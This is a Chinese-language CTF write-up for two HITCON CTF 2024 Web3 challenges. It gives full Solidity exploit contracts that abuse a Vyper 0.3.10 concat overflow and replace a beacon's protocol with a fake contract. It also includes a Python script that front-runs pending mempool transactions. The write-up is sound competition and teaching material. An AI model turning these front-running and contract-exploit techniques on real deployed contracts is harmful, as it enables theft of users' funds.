HITCON CTF 2024 Web3 writeup by ChaMd5

WriteUp 2个月前 admin
81 0 0

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组)

Web3

Lustrous

解题思路
发送battle交易的gasprice=0,意味着只要10gwei左右的gasprice就可以完成抢跑。
轮询pending交易,并过滤出battle(uint8 memory)类型的交易,解出其中的参数,并进行修改,在battle交易前抢跑一个交易,把这个新列表传到master合约,使每次石头剪刀步都能赢。

0.3.10版本的vyper编译器存在internal concat bug,在代码的上文mem中有负数,再调用有concat的internal函数,会将这个数溢出,变成一个极大值。而在merge_gem()函数,完美符合这个条件。只要让gem1.health变为负数,就可以让合并出来的宝石的血量溢出到2<<96,远远大于月球人的的血量,这样就可以满足stage3的条件。
现在目标为创造一个血量为负的宝石,让它与一个血量为正的合并。血量为负的宝石可以在battle输掉之后创造,但值得注意的是,在合并宝石时,不能出现destoryed状态的宝石,但是在改变宝石状态之前会调用函数decide_continue_battle。如果这时候进入到decide_continue_battle函数,此时血量为负,而且状态为active,所以可以在此时进行合并。同时合并需要另一个宝石为INACTIVE状态,即血量小于64大于0。由于月球人的攻击值是确定的,所以只要满足0 < (health – 10000/hardness) < 64 的宝石即可。值得注意的是,如果在stage1或stage2,月球人攻击值过高,无法满足条件,所以需要destroy一个宝石来回退到stage0。同时也要制作收到一次攻击后血量变成负的宝石,只要满足(health – 10000 / hardness) < 0 即可。

流程:
创建Master合约并向合约发送1 ether,剩余的0.5 ether作为手续费
创建第1颗宝石,花费1 ether
抢跑两次battle,共获取3 ether
创造第2和第3颗宝石
创造第4颗宝石(宝石的所有参数由blocknum决定,同一区块产生的宝石都相同,而产生第三和第四颗宝石的条件相斥,所以需要放在两个区块)
指定第1颗宝石,运行一次battle,将这颗destory并回退到stage0
指定第4颗宝石,运行一次battle,将这颗宝石变为destroy,同时还是stage0
指定第3颗宝石,运行一次battle,这颗宝石的血量变为负,并进入decide_continue_battle函数,在这个函数中合并第3和第4宝石,发生溢出,这时第3颗宝石血量为2<<96,在完成合并后,会根据血量改变宝石状态,此时状态变为active,并被认为赢了月球人,此时stage为1
抢跑两次battle,完成题目条件
完整exp:

pragma solidity ^0.8.0;

interface Ilus {

    function register_master() external;
    function create_gem() external payable;
    function merge_gems() external ;
    function stage() external view returns (uint8);
    function gems(bytes32 id) external returns (int256, int256, int256, int256, uint);
    function assign_gem(uint32 seq) external;
}

contract Exp{

    Ilus public lus = Ilus(payable(0x16012b5ee75F4bd4F917eb6395F945EdBBb365Aa));
    uint256 public counts;

    uint256 constant MAX_ROUNDS0 = 100;
    uint256 constant MAX_ROUNDS1 = 200;
    uint256 constant MAX_ROUNDS2 = 300;
    uint8[] public actions0;
    uint8[] public actions1;
    uint8[] public actions2;

    event Fail(uint256, int256);

    event Set();

    enum GemStatus {
        ACTIVE,
        INACTIVE,
        DESTROYED
    }


    struct Gem {
        int256 health;
        int256 max_health;
        int256 attack;
        int256 hardness;
        GemStatus status;
    }

    constructor() payable {
        for (uint i = 0; i < MAX_ROUNDS0; i++) {
            actions0.push(0);
        }
        for (uint i = 0; i < MAX_ROUNDS1; i++) {
            actions1.push(0);
        }
        for (uint i = 0; i < MAX_ROUNDS2; i++) {
            actions2.push(0);
        }

        // create first gem
        create_gem0();
    }

    function create_gem0() public {
        // firstly this contract has 1.5 ether, create 1st gem
        register_master();
        create_gem();
        lus.assign_gem(0);
        counts = 2;
    }

    function create_gem1() public {
        // after the 1st front run
        // now have 1 ether, create 2nd gem
        
        counts = 2;
    }

    // function create_gem2() public {
    //     create_gem();
    // }
    
    function create_gem12() public {
        // after the 2nd front run before 3rd battle
        // now have 3 ether, create 2nd 3rd 4th gem
        require(address(this).balance == 3 ether, "no");
        create_gem();
        create_gem();
        
        // gem 1 should destory at 3th battle(stage2) to into the stage0
        (int256 health, int256 max_health, int256 attack , int256 hardness, uint status) = lus.gems(getGemId(address(this), 2));
        // make sure after attack, the gem is desdry
        require((health - 10000 / hardness) < 0, "no2");
        require(health!=64, "no3");
        // gem 1 should destory at 3th battle(stage2) to into the stage0
        lus.assign_gem(0);
        counts = 3;
    }

    function create_gem3() public {
        require(address(this).balance == 1 ether, "no");
        create_gem();
        (int256 health, int256 max_health, int256 attack , int256 hardness, uint status) = lus.gems(getGemId(address(this), 3));
        // make sure after attack, the gem is inactive
        require((health - 10000 / hardness) < 64 && (health - 10000 / hardness) > 0, "no1");
    }

    function solve3() external {
        // before 4th battle, assign the 4th gem, after attack health will be inactive
        lus.assign_gem(3);
        counts = 4;
    }

    function getStage() public view returns(uint){
        return lus.stage();
    }

    function set_actions0(uint8[] memory _actions) external {
        for (uint i = 0; i < MAX_ROUNDS0; i++) {
            actions0[i] = _actions[i];
        }
        emit Set();
    }

    function set_actions1(uint8[] memory _actions) external {
         for (uint i = 0; i < MAX_ROUNDS1; i++) {
            actions1[i] = _actions[i];
        }
        emit Set();
    }

    function set_actions2(uint8[] memory _actions) external {
         for (uint i = 0; i < MAX_ROUNDS2; i++) {
             actions2[i] = _actions[i];
        }
        emit Set();
    }


    function get_actions() external view returns (uint8[] memory) {
        uint256 currentStage = lus.stage();
        if (currentStage == 0){
            return actions0;
        }else if (currentStage == 1){
            return actions1;
        }else{
            return actions2;
        }
    }

    // impl decide_continue_battle function
    function decide_continue_battle(uint256 round, int256 lunarian_health) external returns (bool) {
        if (counts <= 2) {
            // first 2 time, use front run win all round and get all 4 ether to create all 4gems
            // should not in this place
            revert();
        } else if (counts == 3) {
            // using the 1st gem to getback stage0
            return true;
        } else if (counts == 4) {
            // now in the stage 0 get fall
            (int256 health, int256 max_health, int256 attack , int256 hardness, uint status) = lus.gems(getGemId(address(this), 3));
            // make sure health > 0, so now the gem is inactive
            require(health > 0, "no" );
            lus.assign_gem(2);
            counts = 5;
            // create_and_merge();
        } else if (counts == 5) {
            // now in the stage 0 get fall
            (int256 health, int256 max_health, int256 attack , int256 hardness, uint status) = lus.gems(getGemId(address(this), 2));
            require(health < 0, "no1" );
            // will merge 3rd 4th gem which lead overflow
            lus.merge_gems();
            lus.assign_gem(2);
            counts = 6;
        } else if (counts == 6) {
            // in 6th and 7th 8th battle, use front run to prevent lose, and win
            revert();
        }
        return true;
    }

    function set_id(uint256 i) public {
        counts = i;
    }

    receive() payable external{}
    
    function register_master() public {
        lus.register_master();
    }

    function create_and_merge() public {
        create_gem();
        merge_gems();
        assign_gem(0);
    }

    function create_gem() public {
        lus.create_gem{value: 1 ether}();
    }

    function merge_gems() public {
        lus.merge_gems();
    }

    function assign_gem(uint32 seq) public {
        lus.assign_gem(seq);
    }

    function getGemId(address masterAddr, uint32 sequence) public pure returns (bytes32) {
        // 将地址和序列号编码并连接在一起
        bytes memory data = abi.encodePacked(masterAddr, sequence);

        // 计算 keccak256 哈希值
        bytes32 gemId = keccak256(data);

        return gemId;
    }

    function get_health(uint32 index) public returns(int256) {
        (int256 health, int256 max_health, int256 attack , int256 hardness, uint status) = lus.gems(getGemId(address(this), index));
        return health;
    }
}

抢跑脚本:

from web3 import Web3

abi = [
    {
        "constant": False,
        "inputs": [
            {
                "internalType""uint8[]",
                "name""actions",
                "type""uint8[]"
            }
        ],
        "name""battle",
        "outputs": [],
        "payable": False,
        "stateMutability""nonpayable",
        "type""function"
    },
    {
        "constant": False,
        "inputs": [
            {
                "internalType""uint8[]",
                "name""_actions",
                "type""uint8[]"
            }
        ],
        "name""set_actions0",
        "outputs": [],
        "payable": False,
        "stateMutability""nonpayable",
        "type""function"
    },
    {
        "constant": False,
        "inputs": [
            {
                "internalType""uint8[]",
                "name""_actions",
                "type""uint8[]"
            }
        ],
        "name""set_actions1",
        "outputs": [],
        "payable": False,
        "stateMutability""nonpayable",
        "type""function"
    },
    {
        "constant": False,
        "inputs": [
            {
                "internalType""uint8[]",
                "name""_actions",
                "type""uint8[]"
            }
        ],
        "name""set_actions2",
        "outputs": [],
        "payable": False,
        "stateMutability""nonpayable",
        "type""function"
    }
]

infura_url = "http://lustrous.chal.hitconctf.com:8545/ae72e4aa-7d85-4b82-9992-466e6591cc9b"
web3 = Web3(Web3.HTTPProvider(infura_url))

master_addr = "0xb7350CD25aD42f2d15a4807A63AC2d6572513ef8"


private_key = '0xf089ee5af0f3e5e5646c1df4bc24a18f8706e070f2c12ea961fc336492bc7791'

account = web3.eth.account.from_key(private_key)
from_address = account.address

contract = web3.eth.contract(address=master_addr, abi=abi)

def handle_pending_transaction(tx_hash):
    
    tx = dict(web3.eth.get_transaction(tx_hash))
    data = tx["input"].hex()
    if data.startswith(Web3.keccak(b"battle(uint8[])")[:4].hex()):
        func, arguments = contract.decode_function_input(tx['input'])
        _actions = []
        for action in arguments["actions"]:
            if action == 0:
                _actions.append(1)
            elif action == 1:
                _actions.append(2)
            else:
                _actions.append(0)

        if len(_actions) == 100:
            func_name = "set_actions0"
        elif len(_actions) == 200:
            func_name = "set_actions1"
        else:
            func_name = "set_actions2"
            _actions = arguments["actions"]

        calldata = contract.encode_abi(func_name, {"_actions":_actions})
        nonce = web3.eth.get_transaction_count(from_address)
        tx = {
            'nonce': nonce,
            'to': master_addr,
            'value': web3.to_wei(0, 'ether'),
            'gas': 10000000,
            'gasPrice': web3.to_wei('10''gwei'),  
            'data': calldata
        }
        signed_tx = web3.eth.account.sign_transaction(tx, private_key)
        tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
        print(f"Transaction sent with hash: {tx_hash.hex()}")
        


def main():
    if web3.is_connected():
        print("Connected to Ethereum network")

        # 创建pending交易过滤器
        pending_filter = web3.eth.filter('pending')
        
        # 开始监听pending交易
        print("Listening for pending transactions...")
        while True:
            pending_tx_hashes = pending_filter.get_new_entries()
            for tx_hash in pending_tx_hashes:
                handle_pending_transaction(tx_hash)

    else:
        print("Failed to connect")

if __name__ == "__main__":
    main()

No-Exit Room

解题思路
题目中给出的puzzlehash,猜测为每个房间的秘密值之和。
beacon合约中有updata函数,可以将protocol合约换为任意合约,让两个函数都返回相同的值即可。每个room合约可以向邻居发送3条消息,加上自己可以调用自己的一条消息,一共三个点,满足题目条件,注意不要发送每个room的秘密值。
完整EXP

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.20;

// import "./interface/IBeacon.sol";
// import "./interface/IChannel.sol";
// import "./interface/IProtocol.sol";
// import "./interface/Iroom.sol";
// import "./interface/Isetup.sol";

import "./Setup.sol";

contract Exp {

    Setup public setup = Setup(0x90a6e2d0148C1aae7b5e85b629ACd9792d2db5ee);
    Room public alice = Room(address(setup.alice()));
    Room public bob = Room(address(setup.bob()));
    Room public david = Room(address(setup.david()));

    Beacon public beacon = Beacon(address(setup.beacon()));

    constructor() {
        setup.commitPuzzle(116);

        alice.request(address(bob), 10);
        alice.request(address(david), 11);
        alice.selfRequest(100);

        bob.request(address(alice), 13);
        bob.request(address(david), 14);
        bob.selfRequest(100);

        david.request(address(alice), 16);
        david.request(address(bob), 17);
        david.selfRequest(100);


        Fake fake = new Fake();

        beacon.update(address(fake));

        int256[] memory xvs = new int256[](3);
        xvs[0] = 12;
        xvs[1] = 13;
        xvs[2] = 16;
        
        alice.solveRoomPuzzle(xvs);

        xvs[0] = 10;
        xvs[1] = 15;
        xvs[2] = 17;

        bob.solveRoomPuzzle(xvs);

        xvs[0] = 11;
        xvs[1] = 14;
        xvs[2] = 18;

        david.solveRoomPuzzle(xvs);

        require(setup.isSolved());
    }
}

contract Fake{


    function evaluate(int256[] calldata, int256) external pure returns (int256) {
        return 100;
    }

    function evaluateLagrange(int256[] memory, int256[] memory, int256) external pure returns (int256){
        return 100;
    }
}

结束


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]

HITCON CTF 2024 Web3 writeup by ChaMd5

原文始发于微信公众号(ChaMd5安全团队):HITCON CTF 2024 Web3 writeup by ChaMd5

版权声明:admin 发表于 2024年7月16日 上午8:01。
转载请注明:HITCON CTF 2024 Web3 writeup by ChaMd5 | CTF导航

相关文章